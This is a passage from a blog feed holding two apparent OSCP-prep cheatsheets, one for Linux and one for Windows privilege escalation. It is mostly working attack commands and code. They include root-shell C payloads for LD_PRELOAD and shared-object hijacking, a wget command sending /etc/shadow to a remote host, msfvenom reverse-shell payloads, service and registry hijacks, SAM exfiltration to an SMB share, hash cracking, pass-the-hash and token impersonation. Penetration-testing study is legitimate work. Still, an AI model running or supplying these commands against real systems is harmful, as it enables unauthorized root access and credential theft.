files</li></ul><pre>sudo /user/bin/wget --post-file=/etc/shadow 192.168.1.17<br>nc -lvp 80 &gt; hash</pre><p>Environment Variables Programs:</p><pre>$ sudo -l<br>Matching Defaults entries for user on this host:<br>env_reset, env_keep+=LD_PRELOAD, env_keep+=LD_LIBRARY_PATH<br>...</pre><p>Create a file (preload.c) with the following contents:</p><pre>#include &lt;stdio.h&gt;<br>#include &lt;sys/types.h&gt;<br>#include &lt;stdlib.h&gt;<br>void _init() {<br>unsetenv(&quot;LD_PRELOAD&quot;);<br>setresuid(0,0,0);<br>system(&quot;/bin/bash -p&quot;);<br>}</pre><p>Compile preload.c to preload.so:</p><pre>gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c</pre><p>Run any allowed program using sudo, while setting the LD_PRELOAD environment variable to the full path:</p><pre>$ sudo LD_PRELOAD=/tmp/preload.so apache2<br># id<br>uid=0(root) gid=0(root) groups=0(root)</pre><p>LD_LIBRARY_PATH:</p><p>Run ldd against the apache2</p><p>(Hijacking shared objects using this method is hit or miss.)</p><pre>$ ldd /usr/sbin/apache2</pre><pre>linux-vdso.so.1 =&gt; (0x00007fff063ff000)<br>...<br>libcrypt.so.1 =&gt; /lib/libcrypt.so.1 (0x00007f7d4199d000)<br>libdl.so.2 =&gt; /lib/libdl.so.2 (0x00007f7d41798000)<br>libexpat.so.1 =&gt; /usr/lib/libexpat.so.1 (0x00007f7d41570000)<br>/lib64/ld-linux-x86-64.so.2 (0x00007f7d42e84000)</pre><p>Create a file (library_path.c):</p><pre>#include &lt;stdio.h&gt;<br>#include &lt;stdlib.h&gt;<br>static void hijack() __attribute__((constructor));<br>void hijack() {<br>unsetenv(&quot;LD_LIBRARY_PATH&quot;);<br>setresuid(0,0,0);<br>system(&quot;/bin/bash -p&quot;);<br>}</pre><pre>$ gcc -o libcrypt.so.1 -shared -fPIC library_path.c</pre><p>Run apache2 using sudo, while setting the LD_LIBRARY_PATH environment variable to the current path</p><p>(where we compiled library_path.c):</p><pre>$ sudo LD_LIBRARY_PATH=. apache2<br># id<br>uid=0(root) gid=0(root) groups=0(root</pre><p>Check CVE-2019–14287:</p><p><a href="https://www.exploit-db.com/exploits/47502">OffSec&#39;s Exploit Database Archive</a></p><pre>Sudo version 1.8.21p2<br>User tryhackme may run the following commands on sudo-privesc:<br>(ALL, !root) NOPASSWD: /bin/bash</pre><pre>y37@kali:~$ sudo -u#-1 /bin/bash<br>root@kali:~#</pre><p>Check CVE-2019–14287:</p><p>if pwfeedback is enabled ++ and sudo version is earlier than 1.8.26</p><p><a href="https://github.com/saleemrashid/sudo-cve-2019-18634">GitHub - saleemrashid/sudo-cve-2019-18634: Proof of Concept for CVE-2019-18634</a></p><pre>y37@kali:~$ sudo su<br>[sudo] password for y37: *******<br># cat /etc/sudoers<br># This file MUST be edited with the &#39;visudo&#39; command as root.<br># Please consider adding local content in /etc/sudoers.d/ instead of<br># directly modifying this file.<br># See the man page for details on how to write a sudoers file.<br># Defaults env_reset,pwfeedback</pre><pre>y37@kali:~$ sudo -V<br>Sudo version 1.8.21p2</pre><h3>Checking for Cron jobs</h3><p>Check cron jobs for other users:</p><p><a href="https://github.com/DominicBreuker/pspy">GitHub - DominicBreuker/pspy: Monitor linux processes without root permissions</a></p><pre>www-data@dmv:/var/www/html/tmp$ ./pspy64</pre><p>View the content of the system-wide crontab:</p><p>look for files u can write on</p><pre>cat /etc/crontab<br>cat /var/spool/cron/<br>cat /var/spool/cron/crontabs/</pre><p>PATH Environment Variable</p><p>1. If a cron job program/script does not use an absolute path.</p><p>2. One of the PATH directories is writable by our user</p><pre>$ cat /etc/crontab<br>…<br>PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/<br>usr/bin<br>…</pre><pre>* * * * * root overwrite.sh<br>Note that the /home/user directory (which we can write to) is at the start of the PATH variable, and the first cron job does not use an absolute path.</pre><p>Create the file overwrite.sh in /home/user:</p><pre>#!/bin/bash<br>cp /bin/bash /tmp/rootbash<br>chmod +s /tmp/rootbash<br>$ chmod +x /home/user/overwrite.sh</pre><p>Wildcards:</p><pre>$ cat /etc/crontab<br>…<br>* * * * * root /usr/local/bin/compress.sh</pre><pre>$ cat /usr/local/bin/compress.sh<br>#!/bin/sh<br>cd /home/user<br>tar czf /tmp/backup.tar.gz *</pre><p>Note that the tar command is run with a <strong>wildcard </strong>in the /home/user directory.</p><p>GTFOBins (<a href="https://gtfobins.github.io/">https://gtfobins.github.io</a>)</p><p>Use msfvenom to create a reverse shell ELF payload:</p><pre>$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=&lt;IP&gt; LPORT=53 -f elf -o shell.elf<br>$ chmod +x /home/user/shell.elf</pre><p>Create two files in the /home/user directory:</p><pre>$ touch /home/user/ — checkpoint=1<br>$ touch /home/user/ — checkpoint-action=exec=shell.elf</pre><pre>y37@kali:~$ cat shellroot.sh<br>#!/bin/bash<br>cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash</pre><pre>y37@kali:~/backup$ echo &quot;&quot; &gt; &quot;--checkpoint-action=exec=bash shellroot.sh&quot;<br>y37@kali:~/backup$ echo &quot;&quot; &gt; --checkpoint=1</pre><h3>Checking for SUID / SGID</h3><pre>$ find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2&gt; /dev/null<br>...<br>-rwsr-xr-x 1 root root 963691 May 13 2017 /usr/sbin/exim-4.84-3<br>...<br># searchsploit exim 4.84<br>...<br>Exim 4.84-3 - Local Privilege Escalation | exploits/linux/local/39535.sh</pre><pre>$ sed -e &quot;s/^M//&quot; 39535.sh &gt; privesc.sh</pre><p><strong>Shared Object Injection</strong></p><p>By using a program called strace, we can track these system calls and determine whether any shared objects were not found. If we can write to the location the program tries to open, we can create a shared object and spawn a root shell when it is loaded.</p><pre>$ find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2&gt; /dev/null<br>...<br>-rwsr-sr-x 1 root staff 9861 May 14 2017 /usr/local/bin/suid-so<br>...</pre><pre>$ strace /usr/local/bin/suid-so 2&gt;&amp;1 | grep -iE &quot;open|access|no such file&quot;<br>access(&quot;/etc/suid-debug&quot;, F_OK) = -1 ENOENT (No such file or directory)<br>...<br>open(&quot;/home/user/.config/libcalc.so&quot;, O_RDONLY) = -1 ENOENT (No such file or directory)</pre><p>we have write access to the /home/user. Create the /home/user/.config directory.</p><p>Create the file libcalc.c with the following contents:</p><pre>#include &lt;stdio.h&gt;<br>#include &lt;stdlib.h&gt;<br>static void inject() __attribute__((constructor));<br>void inject() {<br>setuid(0);<br>system(“/bin/bash -p”);<br>}</pre><p>or</p><pre>system(“cp /bin/bash /tmp/rootbash &amp;&amp; chmod +s /tmp/rootbash &amp;&amp; /tmp/rootbash -p”);</pre><p>Then execute the below command</p><pre>$ gcc -shared -fPIC -o /home/user/.config/libcalc.so libcalc.c<br>$ /usr/local/bin/suid-so<br>Calculating something, please wait...<br>bash-4.1# id<br>uid=0(root) gid=1000(user) egid=50(staff) groups=0(root) ...</pre><p><strong>PATH Environment Variable:</strong></p><ul><li><strong>Without a full path</strong></li></ul><p>If a program tries to execute another program, but only specifies the program name, rather than its full (absolute) path, the shell will search the PATH directories until it is found.</p><pre>$ find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \;<br>2&gt; /dev/null<br>...<br>-rwsr-sr-x 1 root staff 6883 May 14 2017 /usr/local/bin/suid-env<br>...</pre><pre>$ strings /usr/local/bin/suid-env<br>/lib64/ld-linux-x86-64.so.2<br>...<br>service apache2 start<br>$ strace -v -f -e execve /usr/local/bin/suid-env 2&gt;&amp;1 | grep service<br>[pid 14395] execve(&quot;/bin/sh&quot;, [&quot;sh&quot;, &quot;-c&quot;, &quot;service apache2 start&quot;],<br>...</pre><pre>$ ltrace /usr/local/bin/suid-env 2&gt;&amp;1 | grep service<br>system(&quot;service apache2 start&quot;</pre><p><strong>The file could be trying to run the service program without a full path.</strong></p><p>Create a file service.c with the following contents:</p><pre>int main() {<br>setuid(0);<br>system(“cp /bin/bash /tmp/rootbash &amp;&amp; chmod +s /tmp/rootbash &amp;&amp; /tmp/rootbash -p”);<br>}<br>$ gcc -o service service.c</pre><p>Prepend the current directory (or where the new service executable is located) to the PATH variable, and execute the SUID file for a root shell:</p><pre>y37@debian: export PATH=/tmp:$PATH<br>y37@debian:/tmp$ /usr/local/bin/suid-env<br>root@debian:/tmp# id<br>uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(user)<br>root@debian:/tmp#</pre><p><strong>With a full path</strong></p><p>Abusing Shell Features (#1)</p><pre>$ bash — version<br>GNU bash, version 4.1.5(1)-release (x86_64-pc-linux-gnu)</pre><p><strong>Verify the version of Bash is lower than 4.2–048:</strong></p><pre>$ strings /usr/local/bin/suid-env2<br>…<br>/usr/sbin/service apache2 start</pre><pre>$ strace -v -f -e execve /usr/local/bin/suid-env2 2&gt;&amp;1 | grep service<br>[pid 16729] execve(“/bin/sh”, [“sh”, “-c”, “/usr/sbin/service apache2 start”]…</pre><pre>$ ltrace /usr/local/bin/suid-env2 2&gt;&amp;1 | grep service<br>system(“/usr/sbin/service apache2 start”</pre><p>Create a Bash function with the name “/usr/sbin/service” and export the function:</p><pre>$ function /usr/sbin/service { cp /bin/bash /tmp/rootbash &amp;&amp; chmod +s /tmp/rootbash &amp;&amp; /tmp/rootbash -p }<br>$ export –f /usr/sbin/service</pre><p><strong>With a full path</strong></p><p><strong>Abusing Shell Features (#2)</strong></p><pre>$ strings /usr/local/bin/suid-env2<br>…<br>/usr/sbin/service apache2 start</pre><pre>$ strace -v -f -e execve /usr/local/bin/suid-env2 2&gt;&amp;1 | grep service [pid 16729] execve(“/bin/sh”, [“sh”, “-c”, “/usr/sbin/service apache2 start”]…</pre><p><strong>Verify the version of Bash is lower than 4.4</strong></p><p>The PS4 environment variable is inherited by shells running as root.</p><pre>$ env -i SHELLOPTS=xtrace PS4=’$(whoami)’ /usr/local/bin/suid-env2</pre><pre>$ env -i SHELLOPTS=xtrace PS4=’$(cp /bin/bash /tmp/rootbash; chown root /tmp/rootbash; chmod +s /tmp/rootbash)’ /usr/local/bin/suid-env2</pre><pre>$ /tmp/rootbash -p</pre><pre>rootbash-4.1# id<br>uid=1000(user)gid=1000(user)euid=0(root)egid=0(root)groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(user)</pre><p><strong>Escalation via Binary Symlinks CVE-2016–1247</strong></p><p>Gentoo is also affected: nginx &lt; 1.10.2-r3</p><p><a href="https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html">Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247</a></p><p><strong>screen-4.5.0</strong></p><p><a href="https://0xdf.gitlab.io/2020/09/10/htb-haircut.html">HTB: Haircut</a></p><h3>Checking for Passwords &amp; Keys</h3><p><strong>History files</strong></p><p>Check if the user has typed the password through history files (Read all history files)</p><pre>user@debian:~$ ls -la<br>total 56<br>drwxr-xr-x 5 user user 4096 May 26  2020 .<br>drwxr-xr-x 3 root root 4096 May 15  2017 ..<br>-rw------- 1 user user  205 Feb 14 04:28 .bash_history<br>-rw-r--r-- 1 user user  220 May 12  2017 .bash_logout<br>-rw-r--r-- 1 user user 3235 May 14  2017 .bashrc<br>drwxr-xr-x 2 user user 4096 May 13  2017 .irssi<br>drwx------ 2 user user 4096 May 15  2020 .john<br>-rw------- 1 user user  137 May 15  2017 .lesshst<br>-rw-r--r-- 1 user user  212 May 15  2017 myvpn.ovpn<br>-rw------- 1 user user   11 May 15  2020 .nano_history<br>-rw-r--r-- 1 user user  725 May 13  2017 .profile<br>drwxr-xr-x 8 user user 4096 May 15  2020 tools<br>-rw------- 1 user user 5005 May 26  2020 .viminfo</pre><pre>$ cat ~/.*history | less<br>ls -al<br>cat .bash_history<br>ls -al<br>mysql -h somehost.local -uroot -ppassword123</pre><p><strong>Config Files</strong></p><pre>$ cat myvpn.ovpn<br>…<br>auth-user-pass /etc/openvpn/auth.txt<br>…<br>$ cat /etc/openvpn/auth.txt<br>root<br>password123</pre><p>Files containing passwords</p><pre>grep — color=auto -rnw ‘/’ -ie “PASSWORD” — color=always 2&gt; /dev/null<br>find . -type f -exec grep -i -I “PASSWORD” {} /dev/null \;</pre><p>Old passwords in /etc/security/opasswd</p><pre>/etc/security/opasswd</pre><p>In memory passwords</p><pre>strings /dev/mem -n10 | grep -i PASS</pre><p>Find sensitive files</p><pre>$ locate password | more<br>/boot/grub/i386-pc/password.mod<br>/etc/pam.d/common-password<br>/etc/pam.d/gdm-password<br>/etc/pam.d/gdm-password.original<br>/lib/live/config/0031-root-password<br>…</pre><h3>Checking for NFS</h3><p>Check for no_root_squash option</p><pre>$ cat /etc/exports<br>…<br>/tmp *(rw,sync,insecure,no_root_squash,no_subtree_check)</pre><p>we can write files to this share as root user over NFS — On attacking machine</p><pre>$ showmount -e &lt;target IP&gt;<br>Exports list on 192.168.1.25:<br>/tmp<br># mkdir /tmp/nfs<br># mount -o rw,vers=2 192.168.1.25:/tmp /tmp/nfs</pre><p>Using the root user on your local machine, generate a payload and save it to the mounted share:</p><pre># msfvenom -p linux/x86/exec CMD=”/bin/bash -p” -f elf -o /tmp/nfs/shell.elf<br># chmod +xs /tmp/nfs/shell.elf</pre><p>On the target machine, execute the file to get a root shell:</p><pre>$ /tmp/shell.elf<br>bash-4.1# id<br>uid=1000(user) gid=1000(user) euid=0(root) egid=0(root)</pre><h3>Checking for Capabilities</h3><p>Check for all capabilities</p><pre>root@debian:~# getcap -r / 2&gt;/dev/null<br>/usr/bin/python2.6 = cap_setuid+ep</pre><p>Exploit <strong>python2.6</strong></p><pre>y37@debian:~$ /usr/bin/python2.6 -c ‘import os; os.setuid(0); os.system(“/bin/bash”)’<br>root@debian:~#</pre><h3>Other to check:</h3><p>[+] Look for Custom Executable</p><pre>int main() {<br>setuid(0);<br>system(“/bin/bash -p”);<br>}</pre><pre>Compile it using:<br>$ gcc -o &lt;name&gt; &lt;filename.c&gt;\</pre><p>[+] pam_motd.sh</p><p><a href="https://www.exploit-db.com/exploits/14339">Offensive Security&#39;s Exploit Database Archive</a></p><pre>www-data@kali:/home/george$ find . -type f -ls<br>42883 0 -rw-r — r — 1 george george 0 Mar 17 2017 ./.cache/motd.legal-displayed</pre><pre> — exploit — </pre><pre>www-data@kali:/dev/shm$ wget 10.10.14.14/pam_motd.sh<br>www-data@kali:/dev/shm$ bash pam_motd.sh</pre><h3>Automated tools:</h3><p>There are alot of amazing tools out there, i will list below my fav (and mostly updated), you can use whatever tools your comfurtable with.</p><p><strong>Linux Smart Enumeration</strong></p><p><a href="https://github.com/diego-treitos/linux-smart-enumeration">GitHub - diego-treitos/linux-smart-enumeration: Linux enumeration tool for pentesting and CTFs with verbosity levels</a></p><p><strong>LinEnum.sh</strong></p><p><a href="https://github.com/rebootuser/LinEnum">GitHub - rebootuser/LinEnum: Scripted Local Linux Enumeration &amp; Privilege Escalation Checks</a></p><p><strong>LinPEAS</strong></p><p><a href="https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS">PEASS-ng/linPEAS at master · peass-ng/PEASS-ng</a></p><p><strong>linux-exploit-suggester</strong></p><p><a href="https://github.com/mzet-/linux-exploit-suggester">GitHub - The-Z-Labs/linux-exploit-suggester: Linux privilege escalation auditing tool</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/267/1*tR-IoMegAVbCd0HdNcXgfg.png" /></figure><p>Finally, previlige escilation is one of most cretical modules in OSCP, and its very important to practice the above techniqes and understands what to expect and what to look for in the output of the above commands.</p><h3>Some refrences and courses that really helped:</h3><p><a href="https://www.udemy.com/course/linux-privilege-escalation/"><strong>Linux Privilege Escalation for OSCP &amp; Beyond!</strong></a></p><p><a href="https://www.udemy.com/course/linux-privilege-escalation-for-beginners/"><strong>Linux Privilege Escalation for Beginners</strong></a></p><p><a href="https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/"><strong>Basic Linux Privilege Escalation</strong></a></p><p><a href="https://book.hacktricks.xyz/linux-unix/linux-privilege-escalation-checklist"><strong>book.hacktricks.xyz-linux-privilege-escalation-checklist</strong></a></p><p><a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md"><strong>PayloadsAllTheThings-Linux — Privilege Escalation.md</strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9affaebd0f0e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Windows L33T! — PE Cheatsheet [OSCP Prep]]]></title>
            <link>https://0xy37.medium.com/windows-pe-cheatsheet-oscp-prep-bea5b371114d?source=rss-fc974bb0ff6------2</link>
            <guid isPermaLink="false">https://medium.com/p/bea5b371114d</guid>
            <dc:creator><![CDATA[Yara AlHumaidan (0xy37)]]></dc:creator>
            <pubDate>Thu, 24 Jun 2021 16:43:32 GMT</pubDate>
            <atom:updated>2021-06-24T16:53:57.015Z</atom:updated>
            <content:encoded><![CDATA[<p>One of the things that was hard for me to master during my OSCP preparation is privilege escalation. i didn’t know what to look for, where to start or even what to consider as important information in my privilege escalation technique.</p><p>For my Linux privilege escalation cheatsheet, please check THIS page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/320/1*S1VQUauWDd6RnA0bC3sWsg.png" /></figure><h3>Initial Enumeration</h3><pre>systeminfo<br>wmic qfe<br>wmic logicaldisk get caption,description,providername<br>whoami /all<br>net user<br>findstr /si password *.txt *.config *.ini<br>sc query windefend<br>netsh firewall show state<br>netsh firewall show config</pre><h3>Check for Kernel Exploits</h3><p>i useally use tools in this step, as it is much easier.</p><p><strong>Windows Exploit Suggester</strong></p><p><a href="https://github.com/bitsadmin/wesng.git">GitHub - bitsadmin/wesng: Windows Exploit Suggester - Next Generation</a></p><pre>On the target:<br>systeminfo &gt; systeminfo.txt</pre><pre>on kali:<br># python wes.py systeminfo.txt -i &#39;Elevationof Privilege&#39; — exploits-only | less</pre><p><strong>Windows-Exploit-Suggester</strong></p><p><a href="https://github.com/AonCyberLabs/Windows-Exploit-Suggester">GitHub - AonCyberLabs/Windows-Exploit-Suggester: This tool compares a targets patch levels against the Microsoft vulnerability database in order to detect potential missing patches on the target. It also notifies the user if there are public exploits and Metasploit modules available for the missing bulletins.</a></p><pre>root@kali:/opt# git clone https://github.com/AonCyberLabs/Windows-Exploit-Suggester.git</pre><pre>root@kali# /opt/Windows-Exploit-Suggester/windows-exploit-suggester.py --update</pre><pre>root@kali# pip install xlrd --upgrade</pre><pre>root@kali# /opt/Windows-Exploit-Suggester/windows-exploit-suggester.py --database 2020-05-13-mssb.xls --systeminfo sysinfo</pre><p><strong>Pre-compiled Kernel exploits</strong></p><p>This very helpful if you usually have errors while compiling — yup me too</p><p><a href="https://github.com/SecWiki/windows-kernel-exploits">GitHub - SecWiki/windows-kernel-exploits: windows-kernel-exploits Windows平台提权漏洞集合</a></p><h3>Check for Service Exploits</h3><ul><li><strong>Insecure Service Properties</strong></li></ul><p><a href="https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS">carlospolop/privilege-escalation-awesome-scripts-suite</a></p><p>Run winPEAS (absoloutly the best tool for win PE) to check for service misconfigurations:</p><pre>&gt; .\winPEASany.exe quiet servicesinfo</pre><p>We can confirm id we can restart the service with manually with the help of accesschk.exe:</p><pre>C:\PrivEsc\accesschk.exe /accepteula -uwcqv user daclsvc<br>RW daclsvc<br>SERVICE_QUERY_STATUS<br>SERVICE_QUERY_CONFIG<br>SERVICE_CHANGE_CONFIG<br>SERVICE_INTERROGATE<br>SERVICE_ENUMERATE_DEPENDENTS<br>SERVICE_START<br>SERVICE_STOP<br>READ_CONTROL</pre><p>Check the current configuration of the service:</p><pre>&gt; sc qc daclsvc</pre><p>Check the current status of the service:</p><pre>&gt; sc query daclsvc</pre><p>Reconfigure the service to use our reverse shell executable:</p><pre>&gt; sc config daclsvc binpath=”\”C:\PrivEsc\reverse.exe\””</pre><p>Start a listener on Kali, and then start the service to trigger the exploit:</p><pre>&gt; net start daclsvc</pre><ul><li><strong>Unquoted Service Path:</strong></li></ul><p>Confirm this using sc:</p><pre>&gt; sc qc unquotedsvc</pre><p>Use accesschk.exe to check for write permissions:</p><pre>C:\Users\user&gt;accesschk.exe /accepteula -uwdq “C:\Program Files\Unquoted Path Service\”<br>accesschk.exe /accepteula -uwdq “C:\Program Files\Unquoted Path Service\”</pre><pre>C:\Program Files\Unquoted Path Service<br>RW BUILTIN\Users<br>RW NT SERVICE\TrustedInstaller<br>RW NT AUTHORITY\SYSTEM<br>RW BUILTIN\Administrators</pre><pre>C:\Users\user&gt;</pre><pre><br>C:\Users\user&gt;sc qc unquotedsvc<br>sc qc unquotedsvc<br>[SC] QueryServiceConfig SUCCESS<br>SERVICE_NAME: unquotedsvc<br>TYPE : 10 WIN32_OWN_PROCESS<br>START_TYPE : 3 DEMAND_START<br>ERROR_CONTROL : 1 NORMAL<br>BINARY_PATH_NAME : C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe<br>LOAD_ORDER_GROUP :<br>TAG : 0<br>DISPLAY_NAME : Unquoted Path Service<br>DEPENDENCIES :<br>SERVICE_START_NAME : LocalSystem</pre><pre>C:\Users\user&gt;copy C:\Users\user\reverse.exe “C:\Program Files\Unquoted Path Service\Common.exe”<br>copy C:\Users\user\reverse.exe “C:\Program Files\Unquoted Path Service\Common.exe”<br>1 file(s) copied.</pre><pre>C:\Users\user&gt;sc qc unquotedsvc<br>sc qc unquotedsvc<br>[SC] QueryServiceConfig SUCCESS</pre><ul><li><strong>Weak Registry Permissions:</strong></li></ul><p>Confirm the issue using PowerShell:</p><pre>PS&gt; Get-Acl HKLM:\System\CurrentControlSet\Services\regsvc | Format-List</pre><p>Confirm the issue using accesschk.exe:</p><pre>&gt; .\accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\regsvc</pre><p>Overwrite the ImagePath registry key to point to our reverse shell executable: — or we can add a user in the local admin group</p><pre>&gt; reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f<br>&gt; net start regsvc</pre><ul><li><strong>Insecure Service Executables:</strong></li></ul><p>Confirm this with accesschk.exe:</p><pre>&gt; .\accesschk.exe /accepteula -quvw “C:\Program Files\File Permissions Service\filepermservice.exe”</pre><p>Copy the reverse shell executable to overwrite the service executable:</p><pre>&gt; copy /Y C:\PrivEsc\reverse.exe “C:\Program Files\File Permissions Service\filepermservice.exe”<br>&gt; net start filepermsvc</pre><ul><li><strong>DLL Hijacking:</strong></li></ul><p>Use winPEAS to enumerate non-Windows services:</p><pre>&gt; .\winPEASany.exe quiet servicesinfo</pre><p>The “dllsvc” service is vulnerable to DLL Hijacking. the service runs the dllhijackservice.exe executable. We can confirm this manually:</p><pre>&gt; sc qc dllsvc</pre><p>On Kali, generate a reverse shell DLL named hijackme.dll:</p><pre># msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.11 LPORT=53 -f dll -o hijackme.dll</pre><p>Start a listener on Kali and then stop/start the service to trigger the exploit:</p><pre>&gt; net stop dllsvc<br>&gt; net start dllsvc</pre><h3>Check the Registry</h3><ul><li><strong>AutoRuns</strong></li></ul><pre>winPEASany.exe quiet applicationsinfo</pre><p>Confirm the issue manually:</p><pre>&gt; reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run</pre><p>use accesschk.exe to verify the permissions on each one:</p><pre>&gt; accesschk.exe /accepteula -wvu “C:\Program Files\Autorun Program\program.exe”</pre><pre>&gt; copy /Y C:\PrivEsc\reverse.exe “C:\Program Files\Autorun Program\program.exe”</pre><p>Start a listener on Kali, and then restart the Windows VM</p><pre>shutdown /r</pre><ul><li><strong>AlwaysInstallElevated</strong></li></ul><blockquote>This can be done using Power-up</blockquote><p><a href="https://github.com/HarmJ0y/PowerUp">HarmJ0y/PowerUp</a></p><pre>.\winPEASany.exe quiet windowscreds</pre><pre>[+] Checking AlwaysInstallElevated<br>[?] <a href="https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#alwaysinstallelevated">https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#alwaysinstallelevated</a><br>AlwaysInstallElevated set to 1 in HKLM!<br>AlwaysInstallElevated set to 1 in HKCU!</pre><p>Verify this manually:</p><pre>&gt; reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated<br>&gt; reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated</pre><p>Create the exploit in kali:</p><pre>msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.11 LPORT=53 -f msi -o reverse.msi</pre><p>then run the below command in the target:</p><pre>msiexec /quiet /qn /i C:\PrivEsc\reverse.msi</pre><p>Then u should return the shell.</p><h3>Check for Passwords</h3><ul><li><strong>Searching the Registry for Passwords</strong></li></ul><pre>&gt; .\winPEASany.exe quiet filesinfo userinfo</pre><p>we can use these creds using alot of tools, depends on the machiene and what open ports available</p><pre>winexe -U &#39;admin%password123&#39; //192.168.1.1 cmd.exe</pre><pre>winexe -U &#39;admin%password123&#39; — system //10.10.1.1 cmd.exe</pre><ul><li><strong>Saved Creds</strong></li></ul><pre>&gt;winPEASx64.exe quiet cmd windowscreds</pre><p>We can confirm the issue manually:</p><pre>C:\Users\user&gt;cmdkey /list<br>cmdkey /list<br>Currently stored credentials:<br>Target: WindowsLive:target=virtualapp/didlogical<br>Type: Generic<br>User: 02nfpgrklkitqatu<br>Local machine persistence<br>Target: Domain:interactive=WIN-QBA94KB3IOF\admin<br>Type: Domain Password<br>User: WIN-QBA94KB3IOF\admin</pre><p>We can then use these creds to run commands as the user</p><pre>runas /savecred /user:admin C:\PrivEsc\reverse.exe</pre><p><strong>Configuration Files</strong></p><pre>.\winPEASany.exe quiet cmd searchfast filesinfo</pre><p>or manually look for files:</p><pre>&gt; dir /s *pass* == *.config<br>&gt; findstr /si password *.xml *.ini *.txt</pre><p><strong>SAM</strong></p><p>if we can access the SAM and the SYSTEM files, we can decrypt data:</p><pre>&gt; copy C:\Windows\Repair\SAM \\192.168.1.11\tools\</pre><pre>&gt; copy C:\Windows\Repair\SYSTEM \\192.168.1.11\tools\</pre><p>We can use alot of tools to extract the creds from the SAM and system files, one of the tools are Creddump8.</p><p><a href="https://github.com/Neohapsis/creddump7.git">CiscoCXSecurity/creddump7</a></p><pre># git clone <a href="https://github.com/Neohapsis/creddump7.git">https://github.com/Neohapsis/creddump7.git</a><br># python2 creddump7/pwdump.py SYSTEM SAM</pre><p>Then we can try and decrypt the hashes</p><pre>hashcat -m 1000 — force a9fdfa038c4b75ebc76dc855dd74f0da /usr/share/wordlists/rockyou.txt</pre><ul><li><strong>Passing the Hash</strong></li></ul><p>if we cant decrypt ( or lazy) we can try to pass the hash and get command execution.</p><pre>pth-winexe -U &#39;admin%aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da&#39; //192.168.1.1 cmd.exe</pre><pre>pth-winexe — system -U &#39;admin%aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da&#39; //192.168.1.1 cmd.exe</pre><h3>Search for creds</h3><p>Find all those strings in config files.</p><pre>dir /s *pass* == *cred* == *vnc* == *.config*</pre><p>Find all passwords in all files.</p><pre>findstr /spin &quot;password&quot; *.*</pre><p>These are common files to find them in. They might be base64-encoded. So look out for that.</p><pre>c:\sysprep.inf<br>c:\sysprep\sysprep.xml<br>c:\unattend.xml<br>%WINDIR%\Panther\Unattend\Unattended.xml<br>%WINDIR%\Panther\Unattended.xml<br>dir c:\*vnc.ini /s /b<br>dir c:\*ultravnc.ini /s /b<br>dir c:\ /s /b | findstr /si *vnc.ini</pre><p>Look for creds in Registry</p><ul><li>VNC</li></ul><pre>reg query “HKCU\Software\ORL\WinVNC3\Password”</pre><ul><li>Windows autologin</li></ul><pre>reg query &quot;HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon&quot;</pre><ul><li>SNMP Paramters</li></ul><pre>reg query &quot;HKLM\SYSTEM\Current\ControlSet\Services\SNMP&quot;</pre><ul><li>Putty</li></ul><pre>reg query &quot;HKCU\Software\SimonTatham\PuTTY\Sessions&quot;</pre><ul><li>Search for password in registry</li></ul><pre>reg query HKLM /f password /t REG_SZ /s</pre><pre>reg query HKCU /f password /t REG_SZ /s</pre><h3>Check for Token Impersonation</h3><p>SeImpersonate or SeAssignPrimaryToken</p><p>The below link list all tokens, and explain each token what is the privilige you can get.</p><p><a href="https://github.com/gtworek/Priv2Admin">GitHub - gtworek/Priv2Admin: Exploitation paths allowing you to (mis)use the Windows Privileges to elevate your rights within the OS.</a></p><ul><li><strong>Juicy Potato</strong></li></ul><p><a href="https://github.com/ohpe/juicy-potato">GitHub - ohpe/juicy-potato: A sugared version of RottenPotatoNG, with a bit of juice, i.e. another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM.</a></p><pre>C:\PrivEsc\JuicyPotato.exe -l 1337 -p C:\PrivEsc\reverse.exe -t * -c {03ca98d6-ff5d-49b8-abc6–03dd84127020}</pre><p>Other Juicy Potato realeses:</p><p><a 